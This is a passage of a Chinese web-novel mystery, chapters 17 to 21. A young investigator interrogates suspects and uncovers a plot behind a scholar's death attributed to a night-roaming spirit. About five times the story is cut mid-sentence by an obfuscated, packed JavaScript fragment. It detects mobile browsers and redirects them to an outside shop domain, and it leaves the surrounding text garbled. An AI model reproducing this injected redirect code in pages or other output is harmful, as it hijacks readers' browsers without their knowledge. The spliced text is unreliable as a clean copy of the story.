“你倒是会享受,”曲霜姿也走了进来,蹲下看着姜绍轻蔑笑道:“王云廷死的前一日,你是在温香楼吧,他找你借钱?” “对。”姜绍怯懦承认。 “你是何时知晓王云廷是盛京王氏的?” “那天,我们本来约好,等他买完书一起回梁县。可我却迟迟没见他,追到书铺半途才寻到他,盛京城门都要关了。”姜绍吞了口口水,“我们只好寻客栈住,但最近正值乞巧节,各处客栈人满为患,价格还抬高不少。” “到了夜晚我们无处可去,云廷说他在盛京有亲戚,也许能让我们借宿一晚。他就去敲王家的大门,没过一会儿就被轰了出来。” 沈无逆听他老实交代,点了点头,追问道:“他只找你借过一次钱吗?” 姜绍转了转眼珠,肯定地点点头,“是一次。他第二次借钱可不是找我借的!” 沈无逆眼睛一亮,唇边浮起得逞的笑,他们从没说过王云廷借了两次钱的事。姜绍既然提及,那他肯定知道王云廷第二次借钱是找何人借的。 “那是找谁借的?” “杨硕,是杨硕!” 17. 蚍蜉撼大树 曲霜姿噗嗤笑出了声,惹得两个男人皆是一愣。她眼弯成了月牙儿,脸颊上两个梨涡儿,只是旁人的梨涡写显得乖巧可爱,而曲霜姿的却让人体会出了狡黠的意味。 她用小姑娘特有的俏皮嗓音悠悠道:“姜绍,其实你还说了谎。” 声音不高不低,尾音拖的也不长不短,刚巧在这空旷的地牢里打了一转儿又回来,森森然地又进了姜绍耳朵里,惹得人心里发毛。 沈无逆心中回旋,很快反应了过来。 那天姜绍早就和婉兮背地里嘲笑过王云廷,王云廷性格老实,却也是读书人,自有一生傲骨,恐怕不会轻易将此事说与别人。 曲霜姿眼神里狠劲十足。 她阿娘告诉过她,这种行为叫背刺,就是小人才会有如此作为,她光是听着就厌恶极了。 她戳穿了姜绍,继续逼问道:“你究竟是如何知道的王云廷身世的?我看你口口声声说你父识得王大人,恐怕还要将你父抓来和你一起受牢狱之灾了。” “正正好你们父子——”曲霜姿一字一顿地说:“相依为命。” “也好有个伴儿不是?”她又扯起冷飕飕的笑容来。 曲霜姿嘴上威逼利诱,沈无逆的佩剑也已经抵在了他脖颈处。二人合力把姜绍吓得半死,哆哆嗦嗦说不出一句话,最后闭眼昏了过去,烂泥似地软在地上。 曲霜姿叹了口气,站了起来,和沈无逆一前一后走了出去。 沈无逆眯着眼在后背睨她,觉得这姑娘可真真不是一般人,平日里虽然总有股机灵劲儿,但查案的时候,小小年纪居然也能给人不小的威压。 她细心敏锐、有勇有谋,要是生为男子可真是了不得了。 他心里感慨着,压根没听见曲霜姿叫了他好几声,他慢半拍地匆匆应答:“怎么了?” 曲霜姿恢复了往日的娇纵轻狂模样,气鼓鼓地斥道:“怎么了?我是问你案子该怎么继续查?” “王云廷,王家,还有夜游神!”少女语气急切,神色担忧得紧,“难不成你和那霍迁一样,觉得自己身份尊贵,大理寺众人被问责,你们也能事不关己高高挂起?” 沈无逆收回刚刚心底对曲霜姿的夸赞,这小妮子还是太有些无法无天了,他虽然身份尴尬,但又何曾被旁人这样指着鼻子骂。 “王家,能查吗?”曲霜姿皱眉问。 沈无逆摇摇头。 “那杨硕呢?” 男人咬牙道:“杨硕借钱也是情理之中,先查夜游神,旁的等乞巧节过了再说。” 一年一度的乞巧节,传说是牛郎织女跨越银河相遇的日子,盛京这天热闹,一是因为人多贸易多活动多,二则是百姓们也向往着牛郎织女般的情谊,纷纷热闹游街到江边放花灯去。 达官贵人家,官人们通通入宫赴宴去,而家中夫人则要操持另一场宴席,供年轻的青年男女们相看,共觅良缘。 这宴席名为“巧夕宴”,每年轮着由世家大族来举办。姑娘们都要格外花心思打扮,花枝招展地一个比一个好看,欢欢喜喜地去拜织女;男儿郎们就喝茶游戏,到了晚宴时看看是否有合眼缘的,邀请共赴盛京街上游玩。 要是没遇上有眼缘的,也可去江边放盏双七灯,向织女娘娘求求好姻缘。 “此案确实难以追查下去了,你做的很不错,也趁着这次节日,好好游玩放松几天。”沈无逆拍拍她的肩膀,竖起大拇指故作轻松道。 曲霜姿半晌没说话。 她也曾这样安慰过为案情惆怅的阿娘,阿娘当时的回答是——“案不查明,岂敢有懒怠之心?民不安乐,岂敢有骄躁之心?国不兴盛,岂敢有退却之心?” 眼下,天边夕阳西下,却依旧刺眼得很。 盛京的夜依旧热闹非凡,可这歌舞升平之下,又是何种模样? 曲霜姿心一揪,面色凝重。 她轻轻吐出一句,“不敢。”遥遥回应了母亲的话。没想到今时今日,她居然能与母亲有相同的境遇,更没想到这一天来得这样快。 少女大步流星地走了出去,只给男人留下一个被落日照得金灿灿的背影。 沈无逆眼睛被晃得有些睁不开,他疑惑地站在原地,将曲霜姿的话在心里重复了一遍。 不敢。 不敢什么? 他再回神,伸手想叫住曲霜姿,人却早已走远了。他被这灼热的夕阳烫得收回手,又兀自呆愣在原地,许久才走出了大理寺。 到底是年轻的小姑娘,总有几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711875|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分心气,他十几岁的时候其实也这样,以为凭借自己的努力能改变什么…… 但是终不过蚍蜉撼大树罢了。 — 曲霜姿昨夜又是在客栈住下的,一大早上又着急忙慌地赶回大理寺,问今日是否有人再来报“夜游神”的案。 得到否定的回答,她这才松了口气。 一连两日都是如此,曲霜姿心里已有了几分对案情的把握。 夜游神乃是邪神,巨大无比,夜半出没,倒霉者遇上都会被吓破胆儿,回去后没几日就会暴毙而亡。 但也只不过是传说。 关于鬼神,曲婧曾细致地为曲霜姿答疑解惑。 世上不少人都信奉鬼神之说,无非是期盼福运来、霉运去,与其说拜的是神明,不如说拜的是人心。 福祸相依,难不成只有福是天福,祸便成了人祸?不过都是人心一层层地投射下去,落实成了事情的结局。 有人心中敬神,便有人心中有鬼。 凡是将事事推脱到鬼神身上的人,心中便自然有鬼。 若是王云廷只是突发心疾而亡也罢,非要刚巧说是被夜游神吓得带去了魂魄,可不是就是人心作祟。 必是有人在装神弄鬼。 王云廷是夜游神唯一索去的魂魄,曲霜姿心中更加确信,夜游神就是冲着王云廷去的。两桩案子之间有着千丝万缕的关系,万万没有只查夜游神,不管王云廷案子的道理。 看来得再见见简小姐了。 曲霜姿没在那日的院子见到简亲娇,只好去了王家大宅。她头一次来时跟着沈无逆,王大人恭敬得很,毕竟那时的沈无逆还不是什么查案的大理寺寺正,只是二皇子的亲信而已。 而今日再登门,刘管家一看是曲霜姿,连忙禀了大人去。果不其然,曲霜姿吃了顿好大的闭门羹。 她心道奇怪,这刘管家那日偏帮着王夫人,把王云廷的尸首先带去小院请夫人看过,这就叫曲霜姿错以为他是简亲娇的人。 现下看来,恐怕就是王大人为敷衍简亲娇,这才把刘管家送去。看似是帮助,其实不过是王大人的监视。 然而这难不倒曲霜姿。 她挑了最夜深人静的时候翻到了王家的后院。 18. 错的是世道 简亲娇也不是傻的,自从她和曲霜姿那日说过几句话,回来之后就被王大人关在了家里。对旁人美名其曰道,她是家中子侄早夭,一时难过卧床不起了。 好在她身边侍女还是算忠心,今天曲霜姿来王府,她就知道是来找自己的,所以一直等到深夜里。 此时此刻,简亲娇像是见到了救命稻草,紧紧拉住了曲霜姿的手,忍不住四下观察,声音惶恐不安,“怎么样了?” 曲霜姿一脸诚恳,“案情已有眉目,只是还需要小姐帮助。” “只要能查清真相,要我做什么都好。”女人眼眶湿润,心中恐怕也笑过自己傻,可是为了儿子,也只能寄希望于曲霜姿这个小丫头。 “王大人从前助你生女儿的丹药,小姐可知是从何处购买的?”曲霜姿问得小心翼翼。 简亲娇一愣,没想到会被问到这个,回想片刻才答道:“好像是外地人,专门走南闯北寻找丹药,好像是姓姜……” “这么多年,我也只是零星听过几句。”说罢,她轻轻叹了口气,“怎么问起此事?” “姓姜?”曲霜姿眯起眼睛,“那就对上了。” 怪不得姜绍口口声声说是家父认识王大人,怪不得姜绍家里的陈设不俗,怪不得姜绍混不吝一个,家中还有钱财供他赌钱。 原来背后还有这一层关系。 此案真是不简单呐。 曲霜姿认真地把这几天的来龙去脉都告知了简亲娇。 简亲娇怔在原地若有所思,她缓缓道:“我知道云廷有位故交好友,却不曾想……” “人心果真最复杂不过,我也是此番被关在家里才知道,刘东林竟然是他派来监视我的,而之前陪在我儿身边的侍女正是他的妻子。”简亲娇深吸一口气,“我偷偷送去的钱财,也恐怕是叫他们夫妻二人给贪了。” 说到这里,简亲娇情难自禁。一张本就没有气色的面庞挂满了眼泪,女人和曲霜姿第一次见时大有不同,不到两个月,竟然像是老了七八岁。 “我对不起云廷啊。”她强忍着哭腔,生怕声音太大惹人注意,“他一定是恨我的吧。” “恨我没有尽到半分母亲的责任。” “他心里一定知道你的难处。”曲霜姿安慰着,“要是换作旁人,被父母抛弃二十载,肯定是倔着脾气不肯再与你们相见。” “但他在走投无路时,仍愿回王府寻求庇护,难道不正是因为你的慈母之心吗?” 在王云廷家里时,沈无逆还翻出些小儿的陈年衣物,还有简亲娇偷偷送去的信。这些东西就放在王云廷平日里苦读的桌下,也没有灰尘,想来是被人精心安置在那儿,常常拿出来看过的。 想想读书苦闷、考中无望,王云廷被扔在破旧的小院儿里,不敢奢望与家人团聚,不敢耽误佳人好年华。 只能在怅惘之际,捧着那些珍贵之物暗自伤神,再鼓起一股劲儿来往前。 曲霜姿全盘托出,简亲娇想起从前偷偷给儿子缝制衣物的日子来,更是泪如雨下了。 曲霜姿等她情绪缓和了,这才开口:“姜绍说王公子是在府里呆了一会儿,才被赶出来的。” “他没有机会见您,但一定见了王大人。我查不了贵府的家事,想请您暗中帮我问问,王云廷回王府时发生了什么?” 简亲娇愣愣,语气坚定道:“好。” “明天晚上此时,我在这里等你。” 曲霜姿点头应是,和简亲娇告别后就飞也似地翻墙走了,来无影去无踪,只在夜色里留下一抹残影。 简亲娇看着她离去的方向,只希望曲霜姿真能查出一个真相来。 — 王云廷第二次借钱是找杨硕借的,曲霜姿本没有把这条线索当回事,更何况这话还是由说谎精姜绍说出来的。 但仔细想想,那这偌大的盛京城,王云廷还认识谁? 这个人要有钱,他们要彼此信任,该是早就认识的。 杨硕不一定就不符合这几个条件。曲霜姿这人查案向来风风火火,也相信自己的直觉,直奔杨氏衣料铺去了。 杨氏衣料铺在盛京也算是负有盛名,二层的设计,底下一边是衣料,一边是成衣,而二楼是他们一家人住的地方,倒也方便。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711876|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 店里进进出出的人络绎不绝,生意红火极了。曲霜姿进去好一会儿了,还没被注意到。 她主动朝忙碌的杨夫人喊了声:“杨老板!” 杨夫人看了过来,脸上浮起惊喜的神色,然而却没应,倒是她的丈夫从她身后缓缓走上前来。 曲霜姿在心里“啊”了一声。 是她糊涂了,这杨老板自然该是杨夫人的丈夫,只是可惜了杨夫人,虽在店里不辞辛劳,但外头的人夸起来,只夸她丈夫是做衣服、做生意的一把好手。 没有人知道她叫什么名字,充其量喊一声老板娘而已。 可凭什么呢?她又不是真的是杨硕的娘,凭什么这一句老板娘就能遮掩她所有的才干,全给了他人做嫁衣。 曲霜姿作为一个女子,不由得想起简亲娇、不由得想起自己的母亲来。到底是年轻气盛,她看着杨硕笑笑,执拗地绕过他朝其夫人走去。她恭敬道:“您贵姓?” “姓安,单名一个绫字。”对面的女人一愣,稍有迟疑地回答。 “原来是安老板。”曲霜姿笑道。 安绫反应这是在称呼自己,脸唰一下红了,都不敢抬头看身边的客人,她怯生生地嗫喏:“您别开玩笑了。” 曲霜姿见了女人这幅反应,心中更加难受,只是这也怪不得杨硕。从杨硕这两日的言行举止来看,他待夫人还是不错的。 错的是这世道。 曲霜姿知晓方才一时冲动有所怠慢,重新向杨硕鞠了一躬,“两位,我还有话想要问二位,不知能否行个方便?” 杨家夫妻二人对视一眼,杨硕严肃道:“曲小姐,先给我半刻钟安顿好客人,成吗?” 这是应该的,曲霜姿点点头,站在角落里等。她四下观察着,发现来采买的也几乎都是女子,几乎都是给家中丈夫和孩子添置衣物的,偶尔会有两个大户人家的小厮来,替自家夫人来瞧瞧。 男主外女主内,早就成了不成文的规矩。 曲霜姿沉闷地站在原地,同时又发觉有什么不对劲。同上次来时相比,这家店铺除了多了许多客人,还多了什么似的。 19. 有情亦无情 可惜她一时半会儿想不起来,只好放弃。 杨家夫妇很快陪着笑送走了客人们。 杨硕疑惑地发问:“曲小姐想要问什么?”男人问着,一旁的安绫也茫然地看着她,眼神怯生生的不敢和曲霜姿对视。 曲霜姿尴尬地笑了两声,很快回想起自己来的目的,正色道:“王云廷死的前一日,可有来过店里借钱?” 此话一出,她敏锐地观察到二人的脸色变了。 果然,曲霜姿猜对了,她皱起眉头来,“借了多少钱?来时还做了些什么?”语气严肃得像是在审问烦人,把安绫吓了一跳。 “为何知情不报!?”她义正言辞,但杨硕还算镇定,“我们之前并不知道王云廷已死,你们也没有询问,只是查了我女儿的旧案,我们又怎知要报?” 安绫在旁边附和着,“是啊、是啊。” “他借的不多,只20文钱罢了。”杨硕摸了摸鼻子,眼神不自觉地看向地面,“借了钱就走了。” 曲霜姿眯起眼睛,“你们是如何认识的?” “我女儿曾说过几句,静好那段时间总赖在梁县不回来,回来后也又着急回去,还管家里要了不少钱。”杨硕意识到自己偏了题,赶忙绕了回来,“王云廷自称是静好的朋友,来看望静好,然后就求我要借钱。” 杨硕说这话时,眼里竟然有藏不住的怒意。 “等等,什么?”曲霜姿听出了不对,着急追问道:“静好不是在王云廷入京前就死在梁县了吗?他说来看望静好?” 杨硕咬牙道:“千真万确。” 曲霜姿愣住,看着面前的安绫又开始抹起了眼泪,她心里想:难不成王云廷不知道杨静好已经死去的消息? 也对,怪不得。明明他们早已暗生情愫,杨静好去了,王云廷又怎么会有心情继续读书,怎么会有心情来盛京选购书籍? 恐怕是姜绍偷绑了杨静好关在自家柴房,骗王云廷说是杨静好回了盛京。等到杨静好尸体暴露于荒野时,县衙很快就将事情的水花儿压了下去,这应该是王大人的手笔。 而王云廷一心想着考取功名,期望能与心爱的女子相配,期望能让人家过上好日子,于是更加发奋地读书。他根本不知心爱之人早已被姜绍那个畜生玷污折辱,不知心爱之人不堪受辱吃了毒药自戕了…… 上天让有情人相遇相知相爱,却不许他们长相厮守,却让他们背负离别的悲凄。 当真是造化弄人。 信神者都以为上天有情,其实有情亦是无情。 曲霜姿想明白这些,内心五味杂陈,堵得难受,“所以静好和王云廷的事,你们早就知道了?” 夫妇二人接连点头。 “静好要钱,是接济王云廷吗?”曲霜姿又问,问完,她还若有所思地感慨道:“姜绍家中也有钱啊,王云廷怎么不找自己的兄弟借?看来贵千金和王公子关系很好吧,两位又慷慨,就当是未来女婿接济了吧。” 杨硕率先讪笑应是,他接话道:“正是、正是。” 曲霜姿面色一沉。 之前杨静好死讯传来时,夫妇两坚持认为女儿不是自杀的。敢问女儿和一个不知来路的男人在异地同处,出了事情还遭人奸污,第一个怀疑恐怕就是王云廷了吧。 但之前的查案过程中,二人却从来没有提过王云廷。曲霜姿还以为他们互不认识呢,按理说,杨静好和王云廷的事儿也不算成,王云廷要放下自卑去见未来丈人,那起码得是考取功名后的事了。 更别提管杨静好借钱了。 而且杨静好应该是遭到了王云廷表面上的拒绝,也没理由这时候告诉父母,自己被穷小子拒绝了吧。 那这钱,该是借给姜绍那个赌徒了。 但杨父杨母,到底为什么要说谎呢?曲霜姿面露疑惑,杨硕似乎也察觉到了不对,都不敢抬头和曲霜姿对视。 曲霜姿不想打草惊蛇,只得挤出一个温和的笑容,“没什么问的了,谢谢二位配合。”她鞠了躬,就自顾自地离开了。 但她出门后一转,绕到了衣料铺窗后,听到了安绫忍着哭腔问道:“夫君,这该怎么办才好啊?” 男人很久才沉声回答,“别怕,和咱们没关系。” 曲霜姿不想再听了,她眸光轻颤,纵然万般不敢相信,却也只能买了个小仆,让小仆替自己盯紧杨氏衣料铺。 阿娘说的没错,世上人心最是难测,也正因为难测,所以世上事才难以定论……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711877|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> — 入了夜,她如约来到王府,在院子里等了很久,才等来简亲娇的身影。 女人失魂落魄的,兀自失着神,曲霜姿也只好候在一旁等。她以为简亲娇是因为什么都没查到所以才如此落寞,但恰恰相反。 这次简亲娇动用了自己多年来攒来给儿子买宅子的钱财,她一直以来省吃俭用,此次才是真正体会到了金钱的魅力。 她收买了丈夫最疼爱的一个小婢女。 简亲娇彻底伤了身子后,王大人虽为了自己的贤名没有纳妾,但明里暗里不知养了多少个女人,不知道又在外面生了多少女儿。 “云廷回王府的时候,洛染正在王家老爷房里伺候。”女人声音一顿,又深吸了口气,艰难地吐露:“云廷也是第一次回家,刘管家没有拦,打算先去禀告老爷。” “但还没来得及,云廷就闯了进去。” 父母在京中享尽了荣华富贵,王云廷却连几本书的钱都没有,为此连爱人的勇气都没有,一时愤懑不平,也可以理解。 女人眼神晦暗,继续说:“谁知老爷见到他第一句话,是吓得喊了一声,以为遇见了鬼。” “怎么会?”曲霜姿没听明白。 “他把云廷送走后,特意嘱咐了下人照顾不用尽心,甚至孩子再大些,就把下人都撤去,为的就是……”女人身体颤抖,她难掩悲恸,欲盖弥彰地闭上眼,眼泪却还是止不住地淌下。 “他还托那位卖丹药的大师,托大师暗中杀了云廷。” 曲霜姿捏紧拳头,她蹙紧眉头,喉头发紧,胃里翻滚不已。 王大人身为一个父亲,所做所为实在令人作呕。姜绍与他这个大人渣相比,当真是大巫见小巫了。 “云廷离开时太过着急,落下了一个香囊。”简亲娇颤颤巍巍掏出个香囊来,那味道却熟悉又刺鼻得很,一股儿钻进曲霜姿的鼻子里,她忙不迭屏住了呼吸。 曲霜姿双手接过,想要确认此物是不是“散魂散。 但很明显不是,散魂散并无浓重的气味,此物形态和书中描写也大不相同。 倒像是她阿娘曾放在衣柜里,用来防虫防蛀的东西。 这灵光一闪,顿时让她茅塞顿开。 20. 霜姿之神色 防虫防蛀的香料通常是两种,一是由灵香草做成、二是由香樟木做成。 灵香草清香扑鼻、沁人心脾,药用价值高,还有很多女子拿它当香膏用。而香樟粉则不同,气味会更加浓郁刺鼻些,进入人体多却是有害的。 曲霜姿幼时初闻时觉得香,抱着衣柜里香袋偷偷闻,叫曲婧发现后被责骂了一番。曲霜姿这才知道,这粉末吸入人体后,对人的肠胃有刺激作用,还会产生什么叫氧化樟脑的东西,具有强心升压的作用,很可能引发头晕、浑身无力、恶心、呕吐等症状。 后来家里的所有香樟粉,就都换作了灵香草。 曲霜姿眯起眼,圆圆的小鹿眼眯成狐狸似的,透出精明的光。有了这香樟粉,还有散魂散,还怕王云廷活得久嘛?再加上王大人的那话,就已经把王云廷钉在了阎王的生死簿上。 重重幻影下,他心悸难忍、浑身的不痛快,这已经够使他痛苦不堪了。 然后,他看到了夜游神。 那一刻,王云廷想到的是什么呢? 是悔吗?是恨吗?还是费劲力气活着却还是被至亲之人打回原形的不甘?还是庆幸,自己终于要死了,自此解脱——不再碍谁的眼、不再拖累谁,更不用脏了他亲爹的手。 简亲娇泣不成声,已经说不出话来了。 曲霜姿思量片刻,伸出手郑重握住了简亲娇的手。 简亲娇比她阿娘年纪还要长些,更让曲霜姿心疼不已,她轻声开口:“简小姐,你是简小姐,不该是王夫人,对不对?” 简亲娇虽然曾不满地说自己有名字,然而到了这般田地,她却有些不敢承认了。世人眼中,她也必然先是王夫人,不能是简小姐,王淮波要是真的被治罪了,那这个家该怎么办? 她该怎么办?她的女儿们该怎么办? 她不是不知道曲霜姿的意思,可她无可奈何,虽然满脸是泪,但还是哆嗦着手推开了曲霜姿。 女人背过身去,下了逐客令,“你走吧。” “云廷的案子,也该到此为止,让他安心上路吧。” 曲霜姿满脸地不可置信:“简小姐,你说什么?云廷公子要是知道了,他会……”她上前搭上简亲娇的肩膀,试图挽回女人的心。 简亲娇还是一甩袖子,悲凄道:“我不只是他的母亲,他已经死了,可活着的人还要活着!我不只是一个人啊……” 她掩面痛哭,曲霜姿站在原地,再劝的话哽在喉头,怎么都说不出来。 “随你怎么看我,你快走吧!再不走我就要喊人了。”简亲娇作势就要回屋去。 曲霜姿知晓她不会喊人,但也不知该怎么说服女人,只好皱着眉压着声音喊她:“简小姐!明日晚上的宫宴,也许是你摆脱王云廷的唯一机会!王云廷罪不至死,王家根基不会动摇!但你如果想要摆脱他,从此以后自由自在作为简亲娇活着,就得同我找出更多的证据,让他进入牢狱不得翻身!” “彼时你就是王家的主人,没谁能让你再受伤了!”她喊得极累,既要让简亲娇听出自己的果决,又要避免惊了这夜色。 但还是徒劳无功,女人还是头也不回地回了屋子,只留给曲霜姿一个形销骨立的背影,与这夜色融为一体,孤寂又脆弱。 对啊,她是母亲,她还有那么多的女儿。 — 天亮后,节日的氛围达到了顶峰,人流熙攘,各处锣鼓喧天、遍地欢声笑语。 今日大理寺休沐,曲霜姿怀着满肚子的心事不知该何去何从。哪里都热闹非凡,传到曲霜姿耳朵里却烦人得紧。 新入京的马戏团在巡街表演,马儿踏着节拍,马上的人时而跳跃、时而转圈,还能一边抛彩球、一边喷出火来,引得围观者喝彩连连。接下来的黑熊跳舞、百鸟齐鸣,这都还不是重头戏。 居然还有两头庞大的狮子在相互追逐,跳过一个个燃烧着的火圈,不时发出威猛的咆哮,叫人又惊又怕,末了才顾着鼓掌。 马戏团的队伍很长,中间还有一袭彩衣的大象、机灵活泼的猕猴,这些动物有些常见,有些少见,但是都各怀本领,看着就不同凡响。 曲霜姿就站在醉烟居二楼瞧着,饶着她自诩跟着阿娘见识广,却还是看呆了。不知不觉中,身边就站了个人,她眉头一跳,不想正眼瞧沈无逆,她嘟囔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711878|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道:“你来做什么?” “你这几天干什么去了?可真是忙得连人影都不见啊。”沈无逆勾起笑。 “要你管啊。”曲霜姿赌气道。 “反正我今天就是来告诉你,今晚我要入宫参宴,你可不要给我惹事生非。”男人明明笑着,语气里却带着丝威胁。 可是曲霜姿向来不吃这套,这世上除了她阿娘“劳资数到三”的威胁,她还真真没怕过什么。 “你不参加今晚林府的巧夕宴?”她突然想起来,沈无逆也是要成婚的年纪,虽然也有官职,但也不是什么大官,恐怕在宫宴是可有可无的存在。 沈无逆心下一沉,近两年皇帝确实有意无意地提到赐婚之事,其实就是想让他在此成成家立业,永远都呆在盛京。 而邵辰皇室这么多年也都没有新的皇子,甭管未来是公主登基,还是外戚把权,统统都成不了气候。 “我的事,还轮不着你操心。” 曲霜姿有意想缓和缓和气氛,也就是随口一问,没想到却被沈无逆冷脸相待。她马戏也不看了,走回了醉烟居。 醉烟居里面也热闹,虽然说书郎已经把今日的讲完离开了,但台上很快又上了一批舞女,穿得是中原服饰,跳得也婉约婀娜。 曲霜姿跟着众人喝彩,丝毫没注意到身边又多了个男人。 这回可不是沈无逆了,是那日在温香楼匆匆一瞥的少年郎,余家现任的少家主余千帆。少年一双含情眼,毫不避讳地盯着曲霜姿看,唇角勾起一抹浅笑,勾得周围的姑娘都忍不住看他。 曲霜姿愣了愣,下意识在心里吐槽:哪里来的花孔雀?还和她余叔叔长得这么像。 确认了少年是在对自己笑后,曲霜姿这才摸不着头脑地开口试探:“你好?” “姑娘好啊。”少年见她主动搭话,顿时喜笑颜开,靠得又近了几分,“敢问姑娘芳名?” “曲霜姿。” 余千帆眨眨眼睛,稍经忖度便开口:“姑娘好名字——古人诗曰‘似见霜姿白,如看月彩弯’,以此来夸赞王母娘娘神姿。” “但今日见姑娘,才知何为霜姿之神色。” 21. 不知者不怪 曲霜姿虽然听得高兴,但还是觉得眼前人的言辞太过夸张,要说神仙姿容,那肯定说的就是她阿娘。 听她余叔叔说,她阿娘年轻的时候帮忙准备祭祀仪式,险些被人当作神女下凡呢。 她哼哼笑笑,“我阿娘才是神仙姿容呢。” 余千帆最喜欢看美人儿笑了,登时笑得更欢喜,“改日一定登门拜访伯母,看看什么样的大美人能被姑娘你如此称赞。” “我阿娘……”曲霜姿苦笑一声,想起去年七夕她还依偎在阿娘身边,听阿娘讲故乡七夕的故事。 曲霜姿依稀记得,阿娘说,在一个广阔的地方,会有很大的能够显示出画面的大帷幕,大帷幕全是一对对伴侣相爱的模样,吉时一到,漫天的气球飘上天空,寄托着每一对恋人长久相伴的美好愿望。 她还问阿娘气球是什么,阿娘解释了一通,曲霜姿还是半懂不懂的,于是阿娘就换了个通俗的说法。 就是如花灯一般的物什。 她眼眶不禁再次湿润,但许多双眼睛盯着,曲霜姿只好努力忍着。 不知者不怪。 余千帆看出她情绪不对,有些慌张地问:“怎么了?是我说错什么话了吗?” 曲霜姿苦笑着看他一眼,看向那些摇曳生姿的舞女们,她轻声道:“你没说错话,只是我阿娘不在了,你见不到了。” “没、没关系!”娇生惯养的少爷哪里想到这一层,赶紧天花乱坠地弥补,“姑娘姿容已是绝佳,伯母也定是天上有地上无的美人。” 什么天上有,地上无的混账话。余千帆自知失言,赶紧拍了拍自己的嘴巴,不敢再随便说话了。 曲霜姿看着他,“那你是何人?” “在下余千帆。”少年得意洋洋道。 曲霜姿眼睛一亮,“你和余肃是什么关系?” 对面的少年很明显愣住了,然后一脸惊讶地反问:“你认识余肃!?你和余肃又是什么关系?” 余千帆的语气很明显是不喜欢余肃叔叔的,曲霜姿狡黠地眯了眯眼睛,随机应变道:“之前说书先生有说啊,你们都姓余,你看起来又身份不凡,我就随便问问罢了。” 少年半信半疑,但他久经情场,很快回归正题,“那曲小姐,可愿今晚和我一起去放花灯啊?” 他话才刚刚说完,人群中窜出来一个小厮,佯装哭意祈求道:“公子、公子,今晚还要去参加晚宴的呀。” 余千帆不耐烦地摆摆手,“你都说了多少遍了,我也说了我不想去,今晚哪儿还会有什么好姑娘。” 曲霜姿看着他们主仆二人争执,意外察觉到了来自身后的一道目光,沈无逆还没走。 她想起沈无逆和余家不对付的事来,眼前又回想起那句“我的事,还轮不着你操心”,她勾起嘴角,温温柔柔地唤道:“余公子,我跟你去看花灯。” 不如先答应了,气死沈无逆。 曲霜姿没想到自己能和一个刚刚认识的人逛了一个下午,还一起吃了晚饭,原本烦躁不安的心情也确实因为余千帆的甜言蜜语缓和了些。 也许就是因为余千帆和余肃有几分相像,所以曲霜姿多了些亲切感。 “所以余肃到底和你什么关系啊?”她好奇得不得了,“他是你父亲?” 余千帆摇摇头,脸色都黑了几分,不情愿地答:“他是我叔父。” 曲霜姿听了这才松了口气,笑着说:“怪不得你们长得相像呢,但听你语气好像并不喜欢他?” 余肃不知道曲霜姿和余肃的关系,只是闷闷应了一声,心底多少觉得少女有些多管闲事。但他待美人向来多几分耐心,“天色不晚了,我们去看花灯吧。” 曲霜姿点点头。 此刻已然华灯初上,四处笙歌叠奏,江中盏盏花灯和街边琼楼玉宇的张灯结彩交相辉映。夏风拂过,把楼上江中的灯都吹得摇曳起来,荡出一圈圈光晕。 “人间天上,一样风光,我与君知。”余千帆看着少女呆呆的模样,笑着调侃。 来盛京这几个月,曲霜姿不是没听过余千帆纨绔的盛名,如今看来,至少是个知书懂礼、气宇轩昂还相貌堂堂的纨绔。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711879|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 